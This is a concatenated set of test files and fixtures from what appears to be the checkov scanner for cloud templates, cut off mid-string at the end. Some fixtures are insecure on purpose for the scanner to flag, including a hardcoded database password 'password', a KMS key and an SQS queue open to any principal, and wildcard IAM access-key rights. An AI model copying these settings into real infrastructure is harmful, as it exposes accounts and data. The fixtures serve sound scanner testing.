"ParameterGroups": [ { "Label": { "default": """Required Parameters""" }, "Parameters": [ "CustomerName", "ResourceNamePrefix", "ExternalID", "LogFilesExpiration", "CreateTrail" ] }, { "Label": { "default": "New Trail Options" }, "Parameters": [ "NewTrailLogFilePrefix" ] }, { "Label": { "default": "Existing Trail Setup" }, "Parameters": [ "ExistingTrailBucketName", "ExistingTrailTopicArn", "SecurityAccountId" ] } ], "ParameterLabels": { "ResourceNamePrefix": { "default": "Resource name prefix" }, "CustomerName": { "default": "Customer name" }, "ExternalID": { "default": "ExternalID" }, "CreateTrail": { "default": """Create new trail?""" }, "NewTrailLogFilePrefix": { "default": """Log file prefix\n hello""" }, "ExistingTrailBucketName": { "default": "Bucket name" }, "ExistingTrailTopicArn": { "default": "Topic ARN" }, "LogFilesExpiration": { "default": "LifecycleConfigurationExpirationInDays" } } } }, "Parameters": { "ResourceNamePrefix": { "Description": "Names of resources created by the stack will be prefixed with this value to ensure uniqueness.", "Type": "String", "Default": "acme", "MinLength": "1", "MaxLength": "32", "AllowedPattern": "^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$", "ConstraintDescription": "Invalid resource name prefix value. Must match pattern ^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$" }, "CustomerName": { "Description": "Customer name as defined on acme Signup", "Type": "String", "MinLength": "2", "MaxLength": "1224", "AllowedPattern": "[a-zA-Z0-9]*", "ConstraintDescription": "must contain only alphanumeric characters." }, "ExternalID": { "Description": "The cross-account access role created by the stack will use this value for its ExternalID.", "Type": "String", "MinLength": "2", "MaxLength": "1224", "AllowedPattern": "[\\w+=,.@:\\/-]*", "ConstraintDescription": "Invalid ExternalID value. Must match pattern [\\w+=,.@:\\/-]*" }, "CreateTrail": { "Description": """You can have a new multi-region CloudTrail trail be created (along with a new S3 bucket and SNS topic), or use your existing trail setup.""", "Type": "String", "AllowedValues": [ "Yes", "No" ], "Default": "Yes" }, "NewTrailLogFilePrefix": { "Description": "If you want the new trail to prefix its log file names, provide the prefix to use. Otherwise, leave it blank.", "Default": "", "Type": "String", "MaxLength": "64", "AllowedPattern": "[a-zA-Z0-9-_.!()* ]*", "ConstraintDescription": "Invalid log file prefix. Must match pattern [a-zA-Z0-9-_.!()* ]*" }, "ExistingTrailBucketName": { "Description": "Provide the name of the S3 bucket for your existing trail setup. The bucket must be owned by the current account.", "Default": "", "Type": "String", "MaxLength": "128" }, "ExistingTrailTopicArn": { "Description": "Provide the ARN of the SNS topic for your existing trail setup. The SNS must be subscribe to the existing bucket", "Default": "", "Type": "String", "MaxLength": "256" }, "SecurityAccountId": { "Description": "In case of an existing CloudTrail trail saving logs to another account, please provide the account ID for that account", "Default": "", "Type": "String", "AllowedPattern": "\\d{12}|\\d{0}", "MaxLength": "12" }, "LogFilesExpiration": { "Description": "Number of days log files will be saved for. After this many days, log files will be deleted", "Type": "Number", "Default": "30", "MinValue": "7", "MaxValue": "365" } }, "Conditions": { "CreateNewTrail": { "Fn::Equals": [ { "Ref": "CreateTrail" }, "Yes" ] }, "UseExistingTrail": { "Fn::Not": [ { "Fn::Equals": [ { "Ref": "CreateTrail" }, "Yes" ] } ] }, "NewTrailUsesLogFilePrefix": { "Fn::Not": [ { "Fn::Equals": [ { "Ref": "NewTrailLogFilePrefix" }, "" ] } ] }, "SecurityAccountExists": { "Fn::Equals": [ { "Ref": "SecurityAccountId" }, "" ] } }, "Resources": { "acmeCWSBucket": { "Condition": "CreateNewTrail", "Type": "AWS::S3::Bucket", "DeletionPolicy": "Retain", "Properties": { "BucketName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws-", { "Ref": "AWS::AccountId" } ] ] }, "VersioningConfiguration": { "Status": "Enabled" }, "LifecycleConfiguration": { "Rules": [ { "Id": "Delete old log files", "Status": "Enabled", "ExpirationInDays": { "Ref": "LogFilesExpiration" }, "NoncurrentVersionExpirationInDays": { "Ref": "LogFilesExpiration" } } ] }, "BucketEncryption": { "ServerSideEncryptionConfiguration": [ { "ServerSideEncryptionByDefault": { "Fn::If": [ "CreateNewTrail", { "KMSMasterKeyID": { "Ref": "CloudtrailKMSKeyAlias" }, "SSEAlgorithm": "aws:kms" }, { "SSEAlgorithm": "AES256" } ] } } ] } } }, "acmeCWSBucket2": { "Type": "AWS::S3::Bucket", "DeletionPolicy": "Retain", "Properties": { "BucketName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws-", { "Ref": "AWS::AccountId" } ] ] }, "LoggingConfiguration": { "DestinationBucketName": "dest-bucket", "LogFilePrefix": "" }, "LifecycleConfiguration": { "Rules": [ { "Id": "Delete old log files", "Status": "Enabled", "ExpirationInDays": { "Ref": "LogFilesExpiration" }, "NoncurrentVersionExpirationInDays": { "Ref": "LogFilesExpiration" } } ] }, "BucketEncryption": { "ServerSideEncryptionConfiguration": [ { "ServerSideEncryptionByDefault": { "Fn::If": [ "CreateNewTrail", { "KMSMasterKeyID": { "Ref": "CloudtrailKMSKeyAlias" }, "SSEAlgorithm": "aws:kms" }, { "SSEAlgorithm": "AES256" } ] } } ] } } }, "acmeCWSBucketPolicy": { "Condition": "CreateNewTrail", "Type": "AWS::S3::BucketPolicy", "Properties": { "Bucket": { "Ref": "acmeCWSBucket" }, "PolicyDocument": { "Version": "2012-10-17", "Id": "acmeCWSBucketPolicy", "Statement": [ { "Sid": "CloudTrailAclCheck", "Action": "s3:GetBucketAcl", "Effect": "Allow", "Resource": { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Ref": "acmeCWSBucket" } ] ] }, "Principal": { "Service": "cloudtrail.amazonaws.com" } }, { "Sid": "CloudTrailWrite", "Action": "s3:PutObject", "Effect": "Allow", "Resource": { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Ref": "acmeCWSBucket" }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Fn::Join": [ "", [ "/", { "Ref": "NewTrailLogFilePrefix" } ] ] }, "" ] }, "/AWSLogs/", { "Ref": "AWS::AccountId" }, "/*" ] ] }, "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Condition": { "StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }, "Bool": { "aws:SecureTransport": "true" } } }, { "Sid": "DenyUnsecureTransport", "Action": "s3:*", "Effect": "Deny", "Resource": [ { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Ref": "acmeCWSBucket" }, "/*" ] ] }, { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Ref": "acmeCWSBucket" } ] ] } ], "Principal": "*", "Condition": { "Bool": { "aws:SecureTransport": "false" } } } ] } } }, "acmeCWSTopic": { "Condition": "CreateNewTrail", "Type": "AWS::SNS::Topic", "Properties": { "TopicName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws" ] ] } } }, "acmeCWSTopicPolicy": { "Condition": "CreateNewTrail", "Type": "AWS::SNS::TopicPolicy", "Properties": { "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "CloudTrailPublish", "Action": "SNS:Publish", "Effect": "Allow", "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Resource": "*" } ] }, "Topics": [ { "Ref": "acmeCWSTopic" } ] } }, "acmeCWSTrail": { "Condition": "CreateNewTrail", "Type": "AWS::CloudTrail::Trail", "DependsOn": [ "acmeCWSTopicPolicy", "acmeCWSBucketPolicy" ], "Properties": { "TrailName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws" ] ] }, "S3BucketName": { "Ref": "acmeCWSBucket" }, "S3KeyPrefix": { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Ref": "NewTrailLogFilePrefix" }, { "Ref": "AWS::NoValue" } ] }, "SnsTopicName": { "Fn::GetAtt": [ "acmeCWSTopic", "TopicName" ] }, "KMSKeyId": { "Ref": "CloudtrailKMSKeyAlias" }, "EnableLogFileValidation": true, "IncludeGlobalServiceEvents": true, "IsMultiRegionTrail": true, "IsLogging": true } }, "CloudtrailKMSKey": { "Condition": "CreateNewTrail", "Type": "AWS::KMS::Key", "Properties": { "Description": "KMS for Cloudtrail, shared with Lacework and acme", "Enabled": true, "EnableKeyRotation": true, "KeyPolicy": { "Version": "2012-10-17", "Id": "key-default-1", "Statement": [ { "Sid": "Enable owner account permissions", "Effect": "Allow", "Principal": { "AWS": { "Fn::Join": [ "", [ "arn:aws:iam::", { "Ref": "AWS::AccountId" }, ":root" ] ] } }, "Action": "kms:*", "Resource": "*" }, { "Sid": "Allow CloudTrail to encrypt logs", "Effect": "Allow", "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Action": [ "kms:GenerateDataKey*", "kms:ReEncryptFrom" ], "Resource": "*", "Condition": { "StringLike": { "kms:EncryptionContext:aws:cloudtrail:arn": { "Fn::Join": [ "", [ "arn:aws:cloudtrail:*:", { "Ref": "AWS::AccountId" }, ":trail/*" ] ] } } } }, { "Sid": "Allow CloudTrail to describe key", "Effect": "Allow", "Principal": { "Service": "cloudtrail.amazonaws.com" }, "Action": "kms:DescribeKey", "Resource": "*" }, { "Sid": "Enable acme & Lacework log decryption", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": [ "kms:Decrypt" ], "Resource": "*", "Condition": { "StringEquals": { "kms:CallerAccount": { "Ref": "AWS::AccountId" } }, "StringLike": { "kms:EncryptionContext:aws:cloudtrail:arn": { "Fn::Join": [ "", [ "arn:aws:cloudtrail:*:", { "Ref": "AWS::AccountId" }, ":trail/*" ] ] } } } } ] }, "KeyUsage": "ENCRYPT_DECRYPT" }, "Metadata": { "AWS::CloudFormation::Designer": { "id": "787370fe-e579-465f-98c5-f1c84f79a810" } } }, "CloudtrailKMSKeyAlias": { "Condition": "CreateNewTrail", "Type": "AWS::KMS::Alias", "Properties": { "AliasName": { "Fn::Join": [ "", [ "alias/", { "Ref": "ResourceNamePrefix" }, "-CloudtrailKey" ] ] }, "TargetKeyId": { "Ref": "CloudtrailKMSKey" } } }, "acmeCWSQueue": { "Type": "AWS::SQS::Queue", "Properties": { "QueueName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws" ] ] }, "VisibilityTimeout": 43200 } }, "acmeCWSQueuePolicy": { "Type": "AWS::SQS::QueuePolicy", "Properties": { "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "AwsSnsAccess", "Effect": "Allow", "Principal": "*", "Action": [ "sqs:SendMessage" ], "Resource": "*", "Condition": { "ArnEquals": { "aws:SourceArn": { "Fn::If": [ "CreateNewTrail", { "Ref": "acmeCWSTopic" }, { "Ref": "ExistingTrailTopicArn" } ] } } } }, { "Sid": "acmeSqsAccess", "Effect": "Allow", "Principal": { "AWS": { "Fn::Join": [ "", [ "arn:aws:iam::", { "Fn::FindInMap": [ "acmeEnvironment", "env", "organizationID" ] }, ":root" ] ] } }, "Action": [ "sqs:ReceiveMessage", "sqs:DeleteMessage", "sqs:GetQueueAttributes", "sqs:GetQueueUrl", "sqs:ListDeadLetterSourceQueues", "sqs:ChangeMessageVisibility" ], "Resource": "*" } ] }, "Queues": [ { "Ref": "acmeCWSQueue" } ] } }, "acmeCWSSubscription": { "Type": "AWS::SNS::Subscription", "Properties": { "Endpoint": { "Fn::GetAtt": [ "acmeCWSQueue", "Arn" ] }, "Protocol": "sqs", "TopicArn": { "Fn::If": [ "CreateNewTrail", { "Ref": "acmeCWSTopic" }, { "Ref": "ExistingTrailTopicArn" } ] } } }, "acmeCWSSACrossAccountAccessRole": { "Type": "AWS::IAM::Role", "Properties": { "RoleName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecwssarole" ] ] }, "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Action": "sts:AssumeRole", "Effect": "Allow", "Principal": { "AWS": { "Fn::Join": [ "", [ "arn:aws:iam::", { "Fn::FindInMap": [ "acmeEnvironment", "env", "organizationID" ] }, ":root" ] ] } }, "Condition": { "StringEquals": { "sts:ExternalId": { "Ref": "ExternalID" } } } } ] }, "ManagedPolicyArns": [ "arn:aws:iam::aws:policy/SecurityAudit", "arn:aws:iam::aws:policy/AWSCloudFormationReadOnlyAccess" ], "Policies": [ { "PolicyName": "acmeCWSPolicy", "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "ConsumeNotifications", "Action": [ "sqs:GetQueueAttributes", "sqs:GetQueueUrl", "sqs:DeleteMessage", "sqs:ReceiveMessage" ], "Effect": "Allow", "Resource": [ { "Fn::GetAtt": [ "acmeCWSQueue", "Arn" ] } ] }, { "Sid": "ListLogFiles", "Action": [ "s3:ListBucket" ], "Effect": "Allow", "Resource": [ { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Fn::If": [ "UseExistingTrail", { "Ref": "ExistingTrailBucketName" }, { "Ref": "acmeCWSBucket" } ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", "/", "" ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Ref": "NewTrailLogFilePrefix" }, "" ] }, "/AWSLogs/*" ] ] } ], "Condition": { "StringLike": { "s3:prefix": [ { "Fn::Join": [ "", [ { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Ref": "NewTrailLogFilePrefix" }, "" ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", "/", "" ] }, "AWSLogs/*" ] ] } ] } } }, { "Sid": "ReadLogFiles", "Action": [ "s3:Get*" ], "Effect": "Allow", "Resource": [ { "Fn::Join": [ "", [ "arn:aws:s3:::", { "Fn::If": [ "UseExistingTrail", { "Ref": "ExistingTrailBucketName" }, { "Ref": "acmeCWSBucket" } ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", "/", "" ] }, { "Fn::If": [ "NewTrailUsesLogFilePrefix", { "Ref": "NewTrailLogFilePrefix" }, "" ] }, "/AWSLogs/*" ] ] } ] }, { "Sid": "GetAccountAlias", "Action": [ "iam:ListAccountAliases" ], "Effect": "Allow", "Resource": "*" }, { "Sid": "GetMetricDataAccess", "Action": [ "cloudwatch:GetMetricData" ], "Effect": "Allow", "Resource": "*" } ] } } ] } }, "eksCluster": { "Type": "AWS::EKS::Cluster", "Properties": { "EncryptionConfig" : [ { "Provider": { "KeyArn": "" }, "Resources": ["secrets"] } ] } }, "acmeSnsCustomResource": { "Type": "Custom::acmeSnsCustomResource", "DependsOn": [ "acmeCWSQueuePolicy" ], "Properties": { "Type": "AWS_CT_CFG", "ServiceToken": { "Fn::Join": [ "", [ "arn:aws:sns:", { "Ref": "AWS::Region" }, ":", { "Fn::FindInMap": [ "acmeEnvironment", "env", "organizationID" ] }, ":", { "Fn::FindInMap": [ "acmeEnvironment", "env", "SnsNameForConfirmCustomerDeployment" ] } ] ] }, "IntegrationName": { "Ref": "AWS::StackName" }, "CrossAccountRoleArn": { "Fn::GetAtt": [ "acmeCWSSACrossAccountAccessRole", "Arn" ] }, "ExternalId": { "Ref": "ExternalID" }, "SqsQueueUrl": { "Ref": "acmeCWSQueue" }, "CustomerName": { "Ref": "CustomerName" }, "DeploymentRegion": { "Ref": "AWS::Region" }, "ActionType": "CustomerSignUp", "Account": "acme", "TemplateVersion": "${template_version}", "AWSAccountId": { "Ref": "AWS::AccountId" }, "SecurityAccountId": { "Fn::If": [ "SecurityAccountExists", { "Ref": "AWS::AccountId" }, { "Ref": "SecurityAccountId" } ] } } } }, "Outputs": { "RoleARN": { "Description": "Cross-account access role ARN to share with acme for CloudTrail integration", "Value": { "Fn::GetAtt": [ "acmeCWSSACrossAccountAccessRole", "Arn" ] } }, "CustomerName": { "Description": "Customer name as defined on acme Signup", "Value": { "Ref": "CustomerName" } }, "SQSQueueURL": { "Description": "SQS queue URL to share with acme for CloudTrail Integration", "Value": { "Ref": "acmeCWSQueue" } }, "SQSQueueARN": { "Description": "SQS queue ARN to share with acme for CloudTrail Integration", "Value": { "Fn::GetAtt": [ "acmeCWSQueue", "Arn" ] } }, "DeploymentRegion": { "Description": "The region that the customer installed this cloud-formation template", "Value": { "Ref": "AWS::Region" } }, "TemplateVersion": { "Description": "acme.io template version", "Value": "${template_version}" } } } ================================================ FILE: tests/cloudformation/parser/test_cfn_json.py ================================================ import os import unittest from json import JSONDecodeError from pathlib import Path from checkov.common.parsers.json import load from checkov.cloudformation.runner import Runner from checkov.runner_filter import RunnerFilter class TestCfnJson(unittest.TestCase): def test_successful_parsing(self): current_dir = os.path.dirname(os.path.realpath(__file__)) test_files = f'{current_dir}/success.json' cfn = load(test_files) self.assertEqual(cfn[0]['AWSTemplateFormatVersion'], '2010-09-09') Runner().run(None, files=[test_files], runner_filter=RunnerFilter()) def test_fail_parsing(self): current_dir = os.path.dirname(os.path.realpath(__file__)) test_files = current_dir + "/fail.json" self.assertRaises(JSONDecodeError, load, test_files) def test_skip_tf_plan_file(self): # given test_file = Path(__file__).parent / "tfplan.json" # when report = Runner().run(None, files=[str(test_file)], runner_filter=RunnerFilter()) # then self.assertEqual(0, len(report.parsing_errors)) def test_triple_quotes_string(self): current_dir = os.path.dirname(os.path.realpath(__file__)) test_files = f'{current_dir}/success_triple_quotes_string.json' cfn = load(test_files) self.assertEqual(cfn[0]['Metadata']['AWS::CloudFormation::Interface']['ParameterLabels']['NewTrailLogFilePrefix']['default'], 'Log file prefix\n hello') Runner().run(None, files=[test_files], runner_filter=RunnerFilter()) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/parser/test_cfn_yaml.py ================================================ import os import unittest from pathlib import Path from checkov.cloudformation.context_parser import ContextParser from checkov.cloudformation.runner import Runner from checkov.cloudformation.parser import parse, cfn_yaml from checkov.runner_filter import RunnerFilter from checkov.serverless.parsers.parser import parse as serverless_parse class TestCfnYaml(unittest.TestCase): def test_skip_parsing(self): current_dir = os.path.dirname(os.path.realpath(__file__)) test_files = f'{current_dir}/skip.yaml' report = Runner().run(None, files=[test_files], runner_filter=RunnerFilter()) summary = report.get_summary() self.assertEqual(summary['passed'], 2) self.assertEqual(summary['failed'], 3) self.assertEqual(summary['skipped'], 1) self.assertEqual(summary['parsing_errors'], 0) def test_file_inclusion(self): file = Path(__file__).resolve().parent / 'cfn_file.yaml' data, _ = serverless_parse(file) assert isinstance(data['resources'], list) assert len(data['resources']) == 1 assert isinstance(data['resources'][0], dict) assert 'Resources' in data['resources'][0] assert isinstance(data['resources'][0]['Resources'], dict) def test_file_circular_inclusion(self): file = Path(__file__).resolve().parent / 'cfn_file_circular.yaml' with self.assertRaises(cfn_yaml.CfnParseError): cfn_yaml.load(file, cfn_yaml.ContentType.SLS) def test_code_line_extraction(self): current_dir = os.path.dirname(os.path.realpath(__file__)) # the test data that we'll evaluate against # line ranges are 1-based # mapping is file name, to resource index, to resource details # checking the resource index helps make sure that we are testing what we think we are testing files = [f'{current_dir}/cfn_newline_at_end.yaml', f'{current_dir}/cfn_nonewline_at_end.yaml'] resource_properties_mapping = { files[0]: { 0: { 'name': 'MyDB', 'line_range': [2, 9] }, 1: { 'name': 'MyBucket', 'line_range': [10, 13] } }, files[1]: { 0: { 'name': 'MyDB', 'line_range': [2, 9] }, 1: { 'name': 'MyBucket', 'line_range': [11, 14] } } } for file in files: cfn_dict, cfn_str = parse(file) cf_context_parser = ContextParser(file, cfn_dict, cfn_str) for index, (resource_name, resource) in enumerate(cfn_dict['Resources'].items()): # this filters out __startline__ and __endline__ markers resource_id = cf_context_parser.extract_cf_resource_id(resource, resource_name) if resource_id: # make sure we are checking the right resource self.assertEqual(resource_name, resource_properties_mapping[file][index]['name']) entity_lines_range, entity_code_lines = cf_context_parser.extract_cf_resource_code_lines(resource) self.assertEqual(entity_lines_range[0], entity_code_lines[0][0]) self.assertEqual(entity_lines_range[1], entity_code_lines[-1][0]) self.assertEqual(entity_lines_range, resource_properties_mapping[file][index]['line_range']) def test_trim_lines(self): # trim from front test1 = [ (0, '\n'), (1, ''), (2, ' here is text'), (3, 'more text') ] self.assertEqual(ContextParser.trim_lines(test1), test1[2:4]) # trim from back test2 = [ (0, ' here is text'), (1, 'more text'), (2, '\n'), (3, ''), ] self.assertEqual(ContextParser.trim_lines(test2), test2[0:2]) # trim from both test3 = [ (0, '\n'), (1, ''), (2, ' here is text'), (3, 'more text'), (4, '\n'), (5, ''), ] self.assertEqual(ContextParser.trim_lines(test3), test3[2:4]) # trim nothing test4 = [ (2, ' here is text'), (3, 'more text'), ] self.assertEqual(ContextParser.trim_lines(test4), test4) # trim everything test5 = [ (2, ''), (3, '\n'), ] self.assertEqual(ContextParser.trim_lines(test5), []) def test_parameter_import_lines(self): # check that when a parameter is imported into a resource, the line numbers of the resource are preserved current_dir = os.path.dirname(os.path.realpath(__file__)) file = f'{current_dir}/cfn_with_ref.yaml' definitions, definitions_raw = parse(file) cf_context_parser = ContextParser(file, definitions, definitions_raw) resource = definitions['Resources']['ElasticsearchDomain'] entity_lines_range, entity_code_lines = cf_context_parser.extract_cf_resource_code_lines(resource) self.assertEqual(entity_lines_range[0], 10) self.assertEqual(entity_lines_range[1], 20) def test_parsing_error(self): current_dir = os.path.dirname(os.path.realpath(__file__)) test_files = ["cfn_bad_name.yaml", "cfn_with_ref_bad.yaml", "cfn_bad_iam.yaml"] report = Runner().run(None, files=[f'{current_dir}/{f}' for f in test_files], runner_filter=RunnerFilter()) summary = report.get_summary() self.assertEqual(summary['passed'], 6) self.assertEqual(summary['failed'], 0) self.assertEqual(summary['skipped'], 0) self.assertEqual(summary['parsing_errors'], 2) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/cloudformation/parser/tfplan.json ================================================ { "format_version": "0.1", "terraform_version": "0.12.5", "planned_values": { "root_module": { "resources": [ { "address": "aws_s3_bucket.bucket", "mode": "managed", "type": "aws_s3_bucket", "name": "bucket", "provider_name": "aws", "schema_version": 0, "values": { "acl": "private", "bucket": "bucket", "bucket_prefix": null, "cors_rule": [], "force_destroy": false, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": null, "website": [] } } ] } }, "resource_changes": [ { "address": "aws_s3_bucket.bucket", "mode": "managed", "type": "aws_s3_bucket", "name": "bucket", "provider_name": "aws", "change": { "actions": [ "create" ], "before": null, "after": { "acl": "private", "bucket": "bucket", "bucket_prefix": null, "cors_rule": [], "force_destroy": false, "grant": [], "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "policy": null, "replication_configuration": [], "server_side_encryption_configuration": [], "tags": null, "website": [] }, "after_unknown": { "acceleration_status": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": [], "grant": [], "hosted_zone_id": true, "id": true, "lifecycle_rule": [], "logging": [], "object_lock_configuration": [], "region": true, "replication_configuration": [], "request_payer": true, "server_side_encryption_configuration": [], "versioning": true, "website": [], "website_domain": true, "website_endpoint": true } } } ], "configuration": { "provider_config": { "aws": { "name": "aws", "expressions": { "region": { "constant_value": "us-west-2" } } } }, "root_module": { "resources": [ { "address": "aws_s3_bucket.bucket", "mode": "managed", "type": "aws_s3_bucket", "name": "bucket", "provider_config_key": "aws", "expressions": { "bucket": { "constant_value": "bucket" } }, "schema_version": 0 } ] } } } ================================================ FILE: tests/cloudformation/runner/__init__.py ================================================ ================================================ FILE: tests/cloudformation/runner/resources/cfn_newline_at_end.yaml ================================================ Resources: MyDB: Type: 'AWS::RDS::DBInstance' Properties: DBName: 'mydb' DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' MyBucket: Type: 'AWS::S3::Bucket' Properties: BucketName: 'hello' ================================================ FILE: tests/cloudformation/runner/resources/double_statement_cloudsplaining.yml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: IAM policy Resources: MyResource: Type: 'AWS::IAM::Policy' Properties: PolicyName: root PolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Action: - 's3:GetObject' - 's3:PutObject' Resource: '*' - Effect: Allow Action: 'iam:UpdateAccessKey' Resource: '*' Roles: - example_role Users: - admin ================================================ FILE: tests/cloudformation/runner/resources/fail.yaml ================================================ Resources: UnencryptedQueue: Type: AWS::SQS::Queue Properties: QueueName: any ================================================ FILE: tests/cloudformation/runner/resources/graph.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: "AppSync-WAF-Enabled" Resources: GoodAppSyncGraphQLApi: Type: "AWS::AppSync::GraphQLApi" Properties: Name: "My Checkov Test App" AuthenticationType: "API_KEY" XrayEnabled: false GoodWAFv2WebACL: Type: "AWS::WAFv2::WebACL" Properties: Name: "Checkov-ACL" Description: "Checkov-ACL" DefaultAction: Block: {} VisibilityConfig: SampledRequestsEnabled: true CloudWatchMetricsEnabled: true MetricName: "Checkov-ACL" Scope: "REGIONAL" WebACLAssociation: Type: AWS::WAFv2::WebACLAssociation Properties: ResourceArn: !GetAtt GoodAppSyncGraphQLApi.Arn WebACLArn: !GetAtt GoodWAFv2WebACL.Arn NoWAFAppSyncGraphQLApi: Type: "AWS::AppSync::GraphQLApi" Properties: Name: "My Checkov Test App with no WAF" AuthenticationType: "API_KEY" XrayEnabled: false ================================================ FILE: tests/cloudformation/runner/resources/invalid.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Description": "acme AWS CloudTrail and Config Security Audit Integration", "Mappings": { "acmeEnvironment": { "env": { "organizationID": "${account_id}", "SnsNameForConfirmCustomerDeployment": "${sns_name}" } } }, "Metadata": { "AWS::CloudFormation::Interface": { "ParameterGroups": [ { "Label": { "default": "Required Parameters" }, "Parameters": [ "CustomerName", "ResourceNamePrefix", "ExternalID", "LogFilesExpiration", "CreateTrail" ] }, { "Label": { "default": "New Trail Options" }, "Parameters": [ "NewTrailLogFilePrefix" ] }, { "Label": { "default": "Existing Trail Setup" }, "Parameters": [ "ExistingTrailBucketName", "ExistingTrailTopicArn", "SecurityAccountId" ] } ], "ParameterLabels": { "ResourceNamePrefix": { "default": "Resource name prefix" }, "CustomerName": { "default": "Customer name" }, "ExternalID": { "default": "ExternalID" }, "CreateTrail": { "default": "Create new trail?" }, "NewTrailLogFilePrefix": { "default": "Log file prefix" }, "ExistingTrailBucketName": { "default": "Bucket name" }, "ExistingTrailTopicArn": { "default": "Topic ARN" }, "LogFilesExpiration": { "default": "LifecycleConfigurationExpirationInDays" } } } }, "Parameters": { "ResourceNamePrefix": { "Description": "Names of resources created by the stack will be prefixed with this value to ensure uniqueness.", "Type": "String", "Default": "acme", "MinLength": "1", "MaxLength": "32", "AllowedPattern": "^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$", "ConstraintDescription": "Invalid resource name prefix value. Must match pattern ^[a-zA-Z0-9]+(?:-[a-zA-Z0-9]+)*$" } }, "Resources": { "acmeCWSBucket": { "Condition": "CreateNewTrail", "Type": "AWS::S3::Bucket", "DeletionPolicy": "Retain", "Properties": { "BucketName": { "Fn::Join": [ "", [ { "Ref": "ResourceNamePrefix" }, "-acmecws-", { "Ref": "AWS::AccountId" } ] ] }, "VersioningConfiguration": { "Status": "Enabled" }, "LifecycleConfiguration": { "Rules": [ { "Id": "Delete old log files", "Status": "Enabled", "ExpirationInDays": { "Ref": "LogFilesExpiration" }, "NoncurrentVersionExpirationInDays": { "Ref": "LogFilesExpiration" } } ] }, "BucketEncryption": { "ServerSideEncryptionConfiguration": [ { "ServerSideEncryptionByDefault": { "Fn::If": [ "CreateNewTrail", { "KMSMasterKeyID": { "Ref": "CloudtrailKMSKeyAlias" }, "SSEAlgorithm": "aws:kms" }, { "SSEAlgorithm": "AES256" } ] } } ] } } } } ================================================ FILE: tests/cloudformation/runner/resources/invalid.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: myDistribution1: Type: AWS::CloudFront::Distribution Properties: DistributionConfig: ViewerCertificate: CloudFrontDefaultCertificate: 'true' MinimumProtocolVersion: TLSv1.2_2019 # SslSupportMethod: sni-only SslSupportMethod: static-ip SslSupportMethod: vip ================================================ FILE: tests/cloudformation/runner/resources/invalid_properties.json ================================================ { "Resources": { "InvalidProperties": { "Type": "AWS::Serverless::Function", "Properties": "NotObject" } } } ================================================ FILE: tests/cloudformation/runner/resources/invalid_properties.yaml ================================================ Resources: InvalidProperties: Type: 'AWS::Serverless::Function' Properties: 'NotObject' ================================================ FILE: tests/cloudformation/runner/resources/no_properties.json ================================================ { "Resources": { "NoPropertiesJson": { "Type": "AWS::Serverless::Function" } } } ================================================ FILE: tests/cloudformation/runner/resources/no_properties.yaml ================================================ Resources: NoPropertiesYaml: Type: 'AWS::Serverless::Function' ================================================ FILE: tests/cloudformation/runner/resources/skip_sub_dict.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Description": "Stack", "Parameters": { "RequirePostfix": { "Type": "String", "AllowedValues": [ "Yes", "No" ] }, "MaxPriority": { "Type": "String", "AllowedValues": [ "high", "low", "ticket", "notify" ] } }, "Mappings": { "Blobs": { "Code": { "userdata": "set -eux -o pipefail\n\n# usage: complete_asg_lifecycle asg_name lifecycle_name [CONTINUE|ABANDON]\ncomplete_asg_lifecycle() (\n instance_id=\"$(curl -s http://169.254.169.254/latest/meta-data/instance-id)\"\n)\nget_instance_id() { curl -s http://169.254.169.254/latest/meta-data/instance-id; }\nget_az() { curl -s http://169.254.169.254/latest/meta-data/placement/availability-zone; }\n\ncleanup() {\n code=\"$?\"\n (( !code )) || complete_asg_lifecycle \"$StackName\" StartupLifecycleHook ABANDON\n}\ntrap cleanup EXIT\n\nsetup_monitoring --asg \"$StackName-\" /var/log/squid/{access.log,cache.log}\n\n# disable source/destination check\nINSTANCE_ID=\"$(get_instance_id)\"\n\n# get the EIP for this instance and use it instead of the default\nif [ -n \"$SquidEIP\" ]; then\nfi\n\n# trust the rhui certs\nln -s 